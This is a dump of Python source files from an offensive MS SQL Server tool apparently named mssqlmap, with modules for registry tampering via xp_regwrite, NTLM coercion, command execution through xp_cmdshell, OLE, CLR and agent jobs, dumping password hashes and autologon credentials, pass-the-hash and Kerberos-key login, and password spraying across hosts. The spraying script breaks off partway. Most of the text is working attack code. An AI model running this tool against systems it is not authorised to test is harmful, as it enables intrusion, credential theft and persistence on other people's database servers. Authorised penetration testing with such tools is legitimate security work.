Any 2 | 3 | from mssqlmap.client import Client, VisitorModule 4 | 5 | HIVES = { 6 | 'HKLM': 'HKEY_LOCAL_MACHINE', 7 | 'HKCU': 'HKEY_LOCAL_USER', 8 | } 9 | 10 | 11 | class RegistryReader(VisitorModule): 12 | def __init__(self, hive: str, key: str, name: str) -> None: 13 | self.hive = hive 14 | self.key = key 15 | self.name = name 16 | 17 | def invoke(self, client: Client) -> dict[str, Any]: 18 | value = self.regread(client, self.hive, self.key, self.name) 19 | return dict(value=value) 20 | 21 | @staticmethod 22 | def regread(client: Client, hive: str, key: str, name: str) -> str: 23 | # TODO: support recursive reading 24 | rows = client.query( 25 | 'DECLARE @value SYSNAME ' 26 | f'EXECUTE master.dbo.xp_regread {client.escape_string(HIVES.get(hive, hive))}, {client.escape_string(key)}, {client.escape_string(name)}, @value OUTPUT ' 27 | 'SELECT @value AS [value]' 28 | ) 29 | assert len(rows) == 1 and len(rows[0]) == 1 30 | return rows[0]['value'] 31 | 32 | 33 | class RegistryDeleter(VisitorModule): 34 | def __init__(self, hive: str, key: str, name: str) -> None: 35 | self.hive = hive 36 | self.key = key 37 | self.name = name 38 | 39 | def invoke(self, client: Client) -> dict[str, bool]: 40 | # TODO: support recursive deletion 41 | self.regdeletevalue(client, self.hive, self.key, self.name) 42 | return dict(ok=True) 43 | 44 | @staticmethod 45 | def regdeletevalue(client: Client, hive: str, key: str, name: str) -> None: 46 | client.query(f'EXECUTE master.dbo.xp_regdeletevalue {client.escape_string(HIVES.get(hive, hive))}, {client.escape_string(key)}, {client.escape_string(name)}') 47 | 48 | @staticmethod 49 | def regdelete(client: Client, hive: str, key: str) -> None: 50 | client.query(f'EXECUTE master.dbo.xp_regdelete {client.escape_string(HIVES.get(hive, hive))}, {client.escape_string(key)}') 51 | 52 | 53 | class RegistryWrite(VisitorModule): 54 | def __init__(self, hive: str, key: str, name: str, type: str, value: str) -> None: 55 | self.hive = hive 56 | self.key = key 57 | self.name = name 58 | self.type = type 59 | self.value = value 60 | 61 | def invoke(self, client: Client) -> dict[str, bool]: 62 | # TODO: create parent keys if necessary 63 | self.regwrite(client, self.hive, self.key, self.name, self.type, self.value) 64 | return dict(ok=True) 65 | 66 | @staticmethod 67 | def regwrite(client: Client, hive: str, key: str, name: str, type: str, value: str) -> None: 68 | client.query(f'EXECUTE master.dbo.xp_regwrite {client.escape_string(HIVES.get(hive, hive))}, {client.escape_string(key)}, {client.escape_string(name)}, {client.escape_string(type)}, {client.escape_string(value)}') 69 | -------------------------------------------------------------------------------- /mssqlmap/modules/sysinfo.py: -------------------------------------------------------------------------------- 1 | from typing import TypedDict 2 | import re 3 | 4 | from mssqlmap.client import Client, VisitorModule 5 | 6 | OS_VERSION_PATTERN = re.compile(' on Windows (.+?) <') 7 | DB_RELEASE_PATTERN = re.compile(r'^Microsoft SQL Server (.+?) ') 8 | 9 | 10 | class SystemInfo(TypedDict): 11 | hostname: str 12 | instance: str 13 | clustername: str 14 | servicename: str 15 | serviceaccount: str 16 | domain: str 17 | longversion: str 18 | servicepack: str 19 | updatelevel: str 20 | buildnumber: str 21 | edition: str 22 | clustered: bool 23 | dbversion: str|None 24 | osversion: str|None 25 | release: str|None 26 | 27 | 28 | class SystemInformer(VisitorModule): 29 | def invoke(self, client: Client) -> SystemInfo: 30 | # docs: https://learn.microsoft.com/en-us/sql/t-sql/functions/serverproperty-transact-sql?view=sql-server-ver16 31 | # convert() is needed because impacket does not support the variant type 32 | # partly stolen from https://github.com/NetSPI/PowerUpSQL/blob/54d73c340611a00e1a2c683c96e7057f7dc35e49/PowerUpSQL.ps1#L4 33 | row = client.query_single( 34 | 'DECLARE @regpath varchar(250) ' 35 | 'DECLARE @servicename varchar(250) ' 36 | "IF @@servicename = 'MSSQLSERVER' " 37 | r"BEGIN SET @regpath = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER' SET @servicename = 'MSSQLSERVER' END " 38 | 'ELSE ' 39 | r"BEGIN SET @regpath = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@servicename as varchar(250)) SET @servicename = 'MSSQL$'+cast(@@SERVICENAME as varchar(250)) END " 40 | 'DECLARE @serviceaccount varchar(250) ' 41 | "EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', @regpath, N'ObjectName', @serviceaccount OUTPUT, N'no_output' " 42 | 'SELECT ' 43 | "convert(varchar(max), serverproperty('ComputerNamePhysicalNetBIOS')) AS [hostname]," # DB01 44 | "convert(varchar(max), serverproperty('InstanceName')) AS [instance]," # SQLEXPRESS 45 | "convert(varchar(max), serverproperty('MachineName')) AS [clustername]," # DB01, equal to hostname if not clustered 46 | "convert(int, serverproperty('IsClustered')) AS [clustered]," # 0/1 47 | "@servicename AS [servicename]," 48 | "@serviceaccount AS [serviceaccount]," 49 | "default_domain() AS [domain]," 50 | "@@version AS longversion," # Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) ... 51 | "convert(varchar(max), serverproperty('ProductLevel')) AS [servicepack]," # RTM, SP1 52 | "convert(varchar(max), serverproperty('ProductUpdateLevel')) AS [updatelevel]," # CU21 53 | "convert(varchar(max), serverproperty('ProductVersion')) AS [buildnumber]," # 15.0.2000.5 54 | "convert(varchar(max), serverproperty('Edition')) AS [edition]" # Express Edition (64-bit) 55 | ) 56 | 57 | row['clustered'] = bool(row['clustered']) 58 | row['dbversion'], row['osversion'] = self.extract_versions(row['longversion']) 59 | row['release'] = self.extract_release(row['longversion']) 60 | del row['longversion'] 61 | 62 | return row # type: ignore 63 | 64 | @staticmethod 65 | def extract_versions(text: str) -> tuple[str, str|None]: 66 | lines = text.splitlines() 67 | version = lines[0].strip() 68 | if match := OS_VERSION_PATTERN.search(lines[-1].strip()): 69 | osversion = match.group(1) 70 | else: 71 | osversion = None 72 | return version, osversion 73 | 74 | @staticmethod 75 | def extract_release(text: str) -> str|None: 76 | if match := re.fullmatch(DB_RELEASE_PATTERN, text): 77 | return match.group() 78 | else: 79 | return None 80 | -------------------------------------------------------------------------------- /mssqlmap/ping.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | from argparse import ArgumentParser, BooleanOptionalAction, Namespace 3 | from typing import Generator 4 | from concurrent.futures import ThreadPoolExecutor 5 | import functools 6 | import os 7 | import socket 8 | import sys 9 | import threading 10 | import traceback 11 | 12 | from mssqlmap.connection import Connection 13 | from mssqlmap import default 14 | from mssqlmap import util 15 | 16 | local = threading.local() 17 | 18 | 19 | def main() -> None: 20 | entrypoint = ArgumentParser(formatter_class=default.HELP_FORMATTER) 21 | entrypoint.add_argument('--threads', type=int, default=default.THREAD_COUNT, help=f'default: {default.THREAD_COUNT}') 22 | entrypoint.add_argument('--timeout', type=int, default=default.TIMEOUT, help=f'in seconds, default: {default.TIMEOUT}') 23 | entrypoint.add_argument('--debug', action=BooleanOptionalAction, default=False, help='write verbose logs to stderr') 24 | group = entrypoint.add_argument_group('targets') 25 | group.add_argument('--json-input', action=BooleanOptionalAction, default=not os.isatty(sys.stdin.fileno()), help='expect JSONL input, default: if pipeline') 26 | group.add_argument('-t', '--targets', nargs='*', metavar='HOST[:PORT]', help='default: read from stdin') 27 | opts = entrypoint.parse_args() 28 | 29 | try: 30 | with ThreadPoolExecutor(max_workers=opts.threads) as pool: 31 | for _ in pool.map(functools.partial(process, opts=opts), util.load_targets(opts.targets, opts.json_input)): 32 | pass 33 | except KeyboardInterrupt: 34 | exit(1) 35 | 36 | 37 | def process(target: Connection, opts: Namespace) -> None: 38 | local.log = functools.partial(util.log, host=target.host) 39 | try: 40 | for instance in udp_ping(target.host, opts.timeout): 41 | local.log(**instance.model_dump(exclude_unset=True), success=True, stdout=True) 42 | except TimeoutError as e: 43 | local.log(port=1434, error=dict(message=str(e), type=e.__class__.__name__)) 44 | except OSError as e: 45 | local.log(port=1434, error=dict(message=str(e), type=e.__class__.__name__)) 46 | except Exception as e: 47 | local.log(port=1434, error=dict(message=str(e), type=e.__class__.__name__)) 48 | if opts.debug: 49 | traceback.print_exception(e, file=sys.stderr) 50 | 51 | try: 52 | instance = tcp_ping(target.host, target.port, opts.timeout) 53 | local.log(**instance.model_dump(exclude_unset=True), success=True, stdout=True) 54 | except TimeoutError as e: 55 | local.log(port=target.port, error=dict(message=str(e), type=e.__class__.__name__)) 56 | except OSError as e: 57 | local.log(port=target.port, error=dict(message=str(e), type=e.__class__.__name__)) 58 | except Exception as e: 59 | local.log(port=target.port, error=dict(message=str(e), type=e.__class__.__name__)) 60 | if opts.debug: 61 | traceback.print_exception(e, file=sys.stderr) 62 | 63 | 64 | def udp_ping(host: str, timeout: int) -> Generator[Connection, None, None]: 65 | if not hasattr(local, 'sock'): 66 | local.sock = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM) 67 | local.sock.settimeout(timeout) 68 | 69 | # printf '\x03' | nc -vu $host 1434 70 | local.sock.sendto(b'\x03', (host, 1434)) 71 | bindata, _ = local.sock.recvfrom(65535) 72 | 73 | if bindata: 74 | for attrset in udp_parse(bindata): 75 | yield Connection.from_ping(host=host, **attrset) 76 | 77 | 78 | def udp_parse(bindata: bytes) -> Generator[dict[str, str], None, None]: 79 | pos = bindata.find(b'ServerName;') 80 | bindata = bindata[pos:] 81 | assert pos < 16, f'invalid response: {bindata}' 82 | 83 | try: 84 | data = bindata.decode('ascii') 85 | except Exception as e: 86 | raise AssertionError(f'invalid encoding: {bindata}') from e 87 | 88 | assert data.endswith(';;'), f'invalid response end: {bindata}' 89 | 90 | for block in data.split(';;'): 91 | if not block: 92 | continue 93 | assert block.startswith('ServerName'), f'invalid block start: {bindata}' 94 | items = block.split(';') 95 | attrs = {k.lower(): v for k, v in zip(items[:-1:2], items[1::2])} 96 | yield attrs 97 | 98 | 99 | def tcp_ping(host: str, port: int, timeout: int) -> Connection: 100 | with socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM) as sock: 101 | sock.settimeout(timeout) 102 | sock.connect((host, port)) 103 | return Connection(host=host, port=port) 104 | 105 | 106 | if __name__ == '__main__': 107 | main() 108 | -------------------------------------------------------------------------------- /mssqlmap/spider.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | from argparse import ArgumentParser, BooleanOptionalAction, Namespace 3 | from concurrent.futures import ThreadPoolExecutor 4 | from typing import Any 5 | import functools 6 | import json 7 | import logging 8 | import os 9 | import sys 10 | 11 | from rich.console import Console 12 | from rich.highlighter import NullHighlighter 13 | from rich.style import Style 14 | from rich.text import Text 15 | 16 | from mssqlmap.client import BaseModule, BrokenClient, Client 17 | from mssqlmap.connection import Connection, SQLErrorException 18 | from mssqlmap.modules.clrexec import ClrExecutor 19 | from mssqlmap.modules.coerce import DirTreeCoercer, FileExistCoercer, OpenRowSetCoercer, SubdirsCoercer 20 | from mssqlmap.modules.dump import HashDumper, JobDumper, AutoLogonDumper 21 | from mssqlmap.modules.enum import DatabaseEnumerator, LoginEnumerator, UserEnumerator 22 | from mssqlmap.modules.exec import CmdShellExecutor, OleExecutor, JobScheduler, JobDeleter, JobExecutor 23 | from mssqlmap.modules.fs import FileReader, FileWrite 24 | from mssqlmap.modules.query import QueryRunner 25 | from mssqlmap.modules.reg import RegistryReader, RegistryWrite, RegistryDeleter 26 | from mssqlmap.modules.sysinfo import SystemInformer 27 | from mssqlmap import default, util 28 | from mssqlmap.modules.impersonated_user import ImpersonationSpider 29 | from mssqlmap.modules.linked_instance import LinkSpider 30 | 31 | HEADER = '\n'.join(( 32 | r' __ _ __', 33 | r' ____ ___ ______________ _/ / _________ (_)___/ /__ _____', 34 | r' / __ `__ \/ ___/ ___/ __ `/ /_____/ ___/ __ \/ / __ / _ \/ ___/', 35 | r' / / / / / (__ |__ ) /_/ / /_____(__ ) /_/ / / /_/ / __/ /', 36 | r'/_/ /_/ /_/____/____/\__, /_/ /____/ .___/_/\__,_/\___/_/', 37 | r' /_/ /_/', 38 | r'', 39 | r'legend: => linked instance, -> impersonated user/login', 40 | r'', 41 | )) 42 | 43 | # keep in sync with arguments below 44 | SPIDER_MODULE_TABLE = dict( 45 | impersonation=ImpersonationSpider, 46 | links=LinkSpider, 47 | ) 48 | VISITOR_MODULE_TABLE = dict( 49 | query=QueryRunner, 50 | sysinfo=SystemInformer, 51 | enum_dbs=DatabaseEnumerator, 52 | enum_logins=LoginEnumerator, 53 | enum_users=UserEnumerator, 54 | coerce_dirtree=DirTreeCoercer, 55 | coerce_fileexist=FileExistCoercer, 56 | coerce_openrowset=OpenRowSetCoercer, 57 | coerce_subdirs=SubdirsCoercer, 58 | file_read=FileReader, 59 | file_write=FileWrite, 60 | exec_cmdshell=CmdShellExecutor, 61 | exec_clr=ClrExecutor, 62 | exec_ole=OleExecutor, 63 | exec_job=JobExecutor, 64 | schedule_job=JobScheduler, 65 | delete_job=JobDeleter, 66 | reg_read=RegistryReader, 67 | reg_write=RegistryWrite, 68 | reg_delete=RegistryDeleter, 69 | dump_hashes=HashDumper, 70 | dump_jobs=JobDumper, 71 | dump_autologon=AutoLogonDumper, 72 | ) 73 | 74 | STDOUT = Console(highlighter=NullHighlighter(), soft_wrap=True, stderr=False) 75 | STDERR = Console(highlighter=NullHighlighter(), soft_wrap=True, stderr=True) 76 | 77 | 78 | def main() -> None: 79 | entrypoint = ArgumentParser(formatter_class=default.HELP_FORMATTER) 80 | 81 | entrypoint.add_argument('--threads', type=int, default=default.THREAD_COUNT, metavar='UINT', help='default: based on CPU cores') 82 | entrypoint.add_argument('--timeout', type=int, default=default.TIMEOUT, metavar='SECONDS', help=f'default: {default.TIMEOUT}') 83 | entrypoint.add_argument('--debug', action=BooleanOptionalAction, default=False, help='write verbose logs to stderr') 84 | 85 | auth = entrypoint.add_argument_group('authentication') 86 | auth.add_argument('-d', '--domain', default='', metavar='DOMAIN', help='implies -w') 87 | auth.add_argument('-u', '--user', metavar='USERNAME') 88 | 89 | authsecret = auth.add_mutually_exclusive_group() 90 | authsecret.add_argument('-p', '--password', metavar='PASSWORD', default='') 91 | authsecret.add_argument('-H', '--hashes', metavar='[LMHASH:]NTHASH', help='authenticate via pass the hash') 92 | authsecret.add_argument('-a', '--aes-key', metavar='HEXKEY', help='authenticate with Kerberos key in hex, implies -k') 93 | 94 | auth.add_argument('-w', '--windows-auth', action='store_true', help='use windows instead of local authentication, default: false') 95 | auth.add_argument('-k', '--kerberos', action='store_true', help='authenticate via Kerberos, implies -w, default: false') 96 | auth.add_argument('-K', '--kdc', metavar='ADDRESS', help='FQDN or IP address of a domain controller, default: value of -d') 97 | auth.add_argument('-D', '--database', metavar='NAME') 98 | 99 | spider = entrypoint.add_argument_group('spider') 100 | spider.add_argument('--links', action=BooleanOptionalAction, default=True, help='default: true') 101 | spider.add_argument('--impersonation', action=BooleanOptionalAction, default=True, help='default: true') 102 | spider.add_argument('--depth', type=int, default=10, metavar='UINT', help='default: 10') 103 | 104 | enumeration = entrypoint.add_argument_group('enumeration') 105 | enumeration.add_argument('-q', '--query', action='append', metavar='SQL', help='execute SQL statement, unprivileged, repeatable') 106 | enumeration.add_argument('--sysinfo', action='store_true', help='retrieve database and OS version, unprivileged') 107 | enumeration.add_argument('--enum-dbs', action='store_true', help='unprivileged') 108 | enumeration.add_argument('--enum-logins', action='store_true', help='unprivileged') 109 | enumeration.add_argument('--enum-users', action='store_true', help='unprivileged') 110 | #enumeration.add_argument('--grep', metavar='REGEX', help='list sample data from column names matching the pattern, unprivileged') 111 | 112 | coercion = entrypoint.add_argument_group('coercion') 113 | coercion.add_argument('-c', '--coerce-dirtree', dest='coerce_dirtree', action='append', metavar='UNCPATH', help='coerce NTLM trough xp_dirtree(), unprivileged, repeatable') 114 | coercion.add_argument('--coerce-fileexist', action='append', metavar='UNCPATH', help='coerce NTLM trough xp_fileexist(), unprivileged, repeatable') 115 | coercion.add_argument('--coerce-subdirs', action='append', metavar='UNCPATH', help='coerce NTLM trough xp_subdirs(), unprivileged, repeatable') 116 | coercion.add_argument('--coerce-openrowset', action='append', metavar='UNCPATH', help='coerce NTLM trough openrowset(), privileged, repeatable') 117 | 118 | fs = entrypoint.add_argument_group('filesystem') 119 | fs.add_argument('--file-read', action='append', metavar='REMOTE', help='read file trough openrowset(), privileged, repeatable') 120 | fs.add_argument('--file-write', nargs=2, action='append', metavar=('LOCAL', 'REMOTE'), help='write file trough OLE automation, privileged, repeatable') 121 | 122 | exec = entrypoint.add_argument_group('execution') 123 | exec.add_argument('-x', '--exec-cmdshell', action='append', metavar='COMMAND', help='execute command trough xp_cmdshell(), privileged, repeatable') 124 | exec.add_argument('--exec-clr', nargs='+', action='append', metavar=('ASSEMBLY FUNCTION', 'ARGS'), help='execute .NET DLL, privileged, repeatable') 125 | exec.add_argument('--exec-ole', action='append', metavar='COMMAND', help='execute blind command trough OLE automation, privileged, repeatable') 126 | exec.add_argument('--exec-job', nargs=2, action='append', metavar=('|'.join(JobScheduler.SUBSYSTEMS), 'COMMAND'), help='execute blind command trough temporary agent job, privileged, repeatable') 127 | exec.add_argument('--schedule-job', nargs=4, action='append', metavar=('JOBNAME', '|'.join(JobScheduler.FREQUENCIES), '|'.join(JobScheduler.SUBSYSTEMS), 'COMMAND'), help='execute blind command in regular intervals trough permanent agent job, privileged, repeatable') 128 | exec.add_argument('--delete-job', action='append', metavar='JOBNAME', help='delete agent job, privileged, repeatable') 129 | 130 | reg = entrypoint.add_argument_group('registry') 131 | reg.add_argument('--reg-read', nargs=3, action='append', metavar=('HIVE', 'KEY', 'NAME'), help='read registry value, privileged, repeatable, experimental!') 132 | reg.add_argument('--reg-write', nargs=5, action='append', metavar=('HIVE', 'KEY', 'NAME', 'TYPE', 'VALUE'), help='write registry value, privileged, repeatable, experimental!') 133 | reg.add_argument('--reg-delete', nargs=3, action='append', metavar=('HIVE', 'KEY', 'NAME'), help='delete registry value, privileged, repeatable, experimental!') 134 | 135 | creds = entrypoint.add_argument_group('credentials') 136 | creds.add_argument('--dump-hashes', metavar='FILE', help='extract hashes of database logins and append them to a file, privileged') 137 | creds.add_argument('--dump-jobs', action='store_true', help='extract source code of agent jobs, privileged') 138 | creds.add_argument('--dump-autologon', action='store_true', help='extract autologon credentials from registry, privileged') 139 | 140 | group = entrypoint.add_argument_group('targets') 141 | group.add_argument('--json-input', action=BooleanOptionalAction, default=not os.isatty(sys.stdin.fileno()), help='expect JSONL input, default: if pipeline') 142 | group.add_argument('--json-output', action=BooleanOptionalAction, default=not os.isatty(sys.stdout.fileno()), help='produce JSONL output, default: if pipeline') 143 | group.add_argument('-t', '--targets', nargs='*', metavar='HOST[:PORT]') 144 | 145 | opts = entrypoint.parse_args() 146 | 147 | if opts.debug: 148 | logging.basicConfig(level=logging.DEBUG, stream=sys.stderr, format='%(levelname)s:%(name)s:%(module)s:%(lineno)s:%(message)s') 149 | logging.getLogger('impacket').setLevel(logging.WARNING) 150 | else: 151 | logging.basicConfig(level=logging.ERROR, format='%(message)s') 152 | logging.getLogger('impacket').setLevel(logging.FATAL) 153 | 154 | if opts.exec_clr: 155 | if any(len(argset) < 2 for argset in opts.exec_clr): 156 | entrypoint.print_help() 157 | return 158 | 159 | opts.credentials = bool(opts.password or opts.hashes or opts.aes_key or opts.kerberos) 160 | 161 | if not opts.json_input and not opts.credentials: 162 | print('mssql-spider: error: no authentication material') 163 | entrypoint.print_usage() 164 | exit(1) 165 | 166 | if opts.aes_key: 167 | opts.kerberos = True 168 | if opts.domain: 169 | opts.windows_auth = True 170 | 171 | opts.spider_modules = translate_modules(opts, SPIDER_MODULE_TABLE) 172 | opts.visitor_modules = translate_modules(opts, VISITOR_MODULE_TABLE) 173 | 174 | try: 175 | with ThreadPoolExecutor(max_workers=opts.threads) as pool: 176 | for _ in pool.map(functools.partial(process, opts=opts), util.load_targets(opts.targets, opts.json_input)): 177 | pass 178 | except KeyboardInterrupt: 179 | exit(1) 180 | 181 | 182 | def translate_modules(opts: Namespace, table: dict[str, type]) -> list[Any]: 183 | modules = [] 184 | for name, module_class in table.items(): 185 | module_opts = getattr(opts, name) 186 | if module_opts: 187 | if module_opts is True: 188 | modules.append(module_class()) 189 | elif isinstance(module_opts, list): 190 | for optset in module_opts: 191 | if isinstance(optset, list): 192 | modules.append(module_class(*optset)) 193 | else: 194 | modules.append(module_class(optset)) 195 | else: 196 | modules.append(module_class(module_opts)) 197 | return modules 198 | 199 | 200 | STYLE_TABLE = dict( 201 | pwned=Style(color='green', bold=True), 202 | accepted=Style(color='green'), 203 | repeated=Style(color='green'), 204 | denied=Style(color='yellow'), 205 | failed=Style(color='red'), 206 | ) 207 | 208 | 209 | def format_status(status: str, error: Exception|None = None) -> Text: 210 | text = Text(status, style=STYLE_TABLE[status]) 211 | if not error: 212 | return text 213 | text += Text('=', style='default') 214 | text += Text(str(error), style='default') 215 | return text 216 | 217 | 218 | def format_result(data: dict[Any, Any]) -> Text: 219 | text = Text() 220 | for key, value in data.items(): 221 | if value is None: 222 | continue 223 | if key == 'error': 224 | text += Text(key, style=STYLE_TABLE['failed']) 225 | elif isinstance(key, Text): 226 | text += key 227 | else: 228 | text += Text(str(key)) 229 | text += '=' 230 | if isinstance(value, Text): 231 | text += value 232 | elif isinstance(value, list) and all(isinstance(x, str) for x in value): 233 | if len(value) == 1: 234 | text += value[0].rstrip() 235 | else: 236 | text += '\n' + '\n'.join(value) 237 | elif isinstance(value, str): 238 | lines = value.splitlines() 239 | if len(lines) == 1: 240 | text += lines[0].rstrip() 241 | else: 242 | text += '\n' + value 243 | else: 244 | text += value if isinstance(value, Text) else Text(str(value)) 245 | text += ' ' 246 | return text[:-1] 247 | 248 | 249 | MINIFIED_JSON = dict( 250 | separators=(',', ':'), 251 | sort_keys=False, 252 | ) 253 | 254 | 255 | def log_status_json(client: Client, module: BaseModule|None, status: str) -> None: 256 | STDOUT.print( 257 | json.dumps( 258 | dict( 259 | host=client.connection.host, 260 | port=client.connection.port, 261 | instance=client.instance, 262 | login=client.login, 263 | user=client.username, 264 | pwned=client.pwned, 265 | module=module.__class__.__name__ if module else 'Spider', 266 | status=status, 267 | error=dict( 268 | type=client.error.__class__.__name__, 269 | message=str(client.error)) if isinstance(client, BrokenClient) else None, 270 | ), 271 | **MINIFIED_JSON, # type: ignore 272 | ) 273 | ) 274 | 275 | 276 | def log_status_ascii(client: Client, module: BaseModule|None, status: str) -> None: 277 | prefix = Text(f'{client.connection.host}:{client.connection.port}', style=Style(color='blue')) 278 | STDOUT.print( 279 | prefix, 280 | client.path, 281 | module.__class__.__name__ if module else 'Spider', 282 | format_status(status, client.error if isinstance(client, BrokenClient) else None), 283 | ) 284 | 285 | 286 | def log_result_json(client: Client, module: BaseModule|None, result: dict[str, Any]) -> None: 287 | STDOUT.print( 288 | json.dumps( 289 | dict( 290 | host=client.connection.host, 291 | port=client.connection.port, 292 | instance=client.instance, 293 | login=client.login, 294 | user=client.username, 295 | pwned=client.pwned, 296 | module=module.__class__.__name__ if module else 'Spider', 297 | result=result, 298 | ), 299 | **MINIFIED_JSON, # type: ignore 300 | ) 301 | ) 302 | 303 | 304 | def log_result_ascii(client: Client, module: BaseModule|None, result: dict[str, Any]) -> None: 305 | prefix = Text(f'{client.connection.host}:{client.connection.port}', style=Style(color='blue')) 306 | STDOUT.print(prefix, client.path, module.__class__.__name__ if module else 'Spider', format_result(result)) 307 | 308 | 309 | def log_error_json(client: Client, error: Exception, **kwargs: str) -> None: 310 | STDOUT.print( 311 | json.dumps( 312 | dict( 313 | host=client.connection.host, 314 | port=client.connection.port, 315 | module='Connection', 316 | error=dict(type=error.__class__.__name__, message=str(error)), 317 | **kwargs, 318 | ), 319 | **MINIFIED_JSON, # type: ignore 320 | ) 321 | ) 322 | 323 | 324 | def log_error_ascii(client: Client, error: Exception, **kwargs: str) -> None: 325 | prefix = Text(f'{client.connection.host}:{client.connection.port}', style=Style(color='blue')) 326 | STDOUT.print( 327 | prefix, 328 | 'Connection', 329 | format_result(dict(error=str(error), type=error.__class__.__name__, **kwargs)), 330 | ) 331 | 332 | 333 | def process(target: Connection, opts: Namespace) -> None: 334 | log_status = log_status_json if opts.json_output else log_status_ascii 335 | log_result = log_result_json if opts.json_output else log_result_ascii 336 | log_error = log_error_json if opts.json_output else log_error_ascii 337 | 338 | if isinstance(target, Connection): 339 | target = Connection( 340 | host=target.host, 341 | port=target.port, 342 | instance=None, 343 | domain=opts.domain if opts.credentials else target.domain, 344 | username=opts.user if opts.credentials else target.username, 345 | password=opts.password if opts.credentials else target.password, 346 | hashes=opts.hashes if opts.credentials else target.hashes, 347 | aes_key=opts.aes_key if opts.credentials else target.aes_key, 348 | windows_auth=opts.windows_auth if opts.credentials else target.windows_auth, 349 | kerberos=opts.kerberos if opts.credentials else target.kerberos, 350 | kdc_host=opts.kdc if opts.credentials else target.kdc_host, 351 | database=opts.database if opts.credentials else target.database, 352 | timeout=opts.timeout, 353 | ) 354 | client = Client(target) 355 | try: 356 | with client: 357 | for child, module, status in client.spider(opts.spider_modules): 358 | log_status(child, module, status) 359 | if status in ('failed', 'denied', 'repeated'): 360 | continue 361 | for module, result in child.invoke(opts.visitor_modules): 362 | log_result(child, module, result) 363 | except TimeoutError as e: 364 | log_error(client, e, hint=f'retry with --timeout {opts.timeout * 3}') 365 | except OSError as e: 366 | log_error(client, e) 367 | except SQLErrorException as e: 368 | log_error(client, e) 369 | except Exception as e: 370 | STDERR.print_exception(show_locals=True) 371 | 372 | 373 | if __name__ == '__main__': 374 | main() 375 | -------------------------------------------------------------------------------- /mssqlmap/spray.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | from argparse import ArgumentParser, BooleanOptionalAction, Namespace 3 | from concurrent.futures import ThreadPoolExecutor 4 | import functools 5 | import logging 6 | import os 7 | import sys 8 | import threading 9 | import traceback 10 | 11 | from mssqlmap.client import Client 12 | from mssqlmap.connection import Connection 13 | from mssqlmap import default 14 | from mssqlmap import util 15 | 16 | local = threading.local() 17 | 18 | 19 | def main() -> None: 20 | entrypoint = ArgumentParser(formatter_class=default.HELP_FORMATTER) 21 | entrypoint.add_argument('--threads', type=int, default=default.THREAD_COUNT, help=f'default: {default.THREAD_COUNT}') 22 | entrypoint.add_argument('--timeout', type=int, default=default.TIMEOUT, help=f'in seconds, default: {default.TIMEOUT}') 23 | entrypoint.add_argument('--debug', action=BooleanOptionalAction, default=False, help='write verbose logs to stderr') 24 | 25 | parsers = entrypoint.add_subparsers(dest='command', required=True) 26 | 27 | parser = parsers.add_parser('passwords') 28 | group = parser.add_argument_group('authentication') 29 | group.add_argument('-w', '--windows-auth', action=BooleanOptionalAction, default=False, help='use Windows instead of database login') 30 | group.add_argument('-d', '--domain', default='', metavar='DOMAINNAME', help='implies -w') 31 | group.add_argument('-u', '--user', nargs='+', default=[], metavar='USERNAME|FILE') 32 | group.add_argument('-p', '--password', nargs='+', default=[], metavar='PASSWORD|FILE') 33 | group.add_argument('-c', '--credential', nargs='+', default=[], metavar='USER:PASS|FILE') 34 | group.add_argument('-k', '--kerberos', action=BooleanOptionalAction, default=False, help='use Kerberos instead of NTLM') 35 | group.add_argument('-K', '--kdc', metavar='HOST', help='FQDN or IP of a domain controller, default: value of -d') 36 | group = parser.add_argument_group('targets') 37 | group.add_argument('--json-input', action=BooleanOptionalAction, default=not os.isatty(sys.stdin.fileno()), help='expect JSONL input, default: if pipeline') 38 | group.add_argument('-t', '--targets', nargs='*', metavar='HOST[:PORT]', help='default: read from stdin') 39 | 40 | parser = parsers.add_parser('hashes') 41 | group = parser.add_argument_group('authentication') 42 | group.add_argument('-d', '--domain', default='', metavar='DOMAINNAME') 43 | group.add_argument('-u', '--user', nargs='+', default=[], metavar='USERNAME|FILE') 44 | group.add_argument('-H', '--hashes', nargs='+', default=[], metavar='[LMHASH:]NTHASH|FILE', help='pass the hash') 45 | group = parser.add_argument_group('targets') 46 | group.add_argument('--json-input', action=BooleanOptionalAction, default=not os.isatty(sys.stdin.fileno()), help='expect JSONL input, default: if pipeline') 47 | group.add_argument('-t', '--targets', nargs='*', metavar='HOST[:PORT]', help='default: read from stdin') 48 | 49 | parser = parsers.add_parser('keys') 50 | group = parser.add_argument_group('authentication') 51 | group.add_argument('-d', '--domain', required=True, metavar='DOMAINNAME') 52 | group.add_argument('-u', '--user', nargs='+', default=[], metavar='USERNAME|FILE') 53 | group.add_argument('-H', '--hashes', nargs='*', default=[], metavar='[LMHASH:]NTHASH|FILE', help='Kerberos RC4, overpass the key') 54 | group.add_argument('-a', '--aes-key', nargs='*', default=[], metavar='HEXKEY', help='Kerberos AES128 or AES256, pass the key') 55 | group.add_argument('-K', '--kdc', metavar='HOST', help='FQDN or IP of a domain controller, default: value of -d') 56 | group = parser.add_argument_group('targets') 57 | group.add_argument('--json-input', action=BooleanOptionalAction, default=not os.isatty(sys.stdin.fileno()), help='expect JSONL input, default: if pipeline') 58 | group.add_argument('-t', '--targets', nargs='*', metavar='HOST[:PORT]', help='default: read from stdin') 59 | 60 | parser = parsers.add_parser('tickets') 61 | group = parser.add_argument_group('authentication') 62 | group.add_argument('-d', '--domain', required=True, metavar='DOMAINNAME') 63 | group.add_argument('-u', '--user', nargs='+', default=[], metavar='USERNAME|FILE') 64 | group.add_argument('-c', '--ticket', nargs='+', default=[], metavar='CCACHEFILE', help='pass the ticket') 65 | group.add_argument('-K', '--kdc', metavar='HOST', help='FQDN or IP of a domain controller, default: value of -d') 66 | group = parser.add_argument_group('targets') 67 | group.add_argument('--json-input', action=BooleanOptionalAction, default=not os.isatty(sys.stdin.fileno()), help='expect JSONL input, default: if pipeline') 68 | group.add_argument('-t', '--targets', nargs='*', metavar='HOST[:PORT]', help='default: read from stdin') 69 | 70 | opts = entrypoint.parse_args() 71 | 72 | 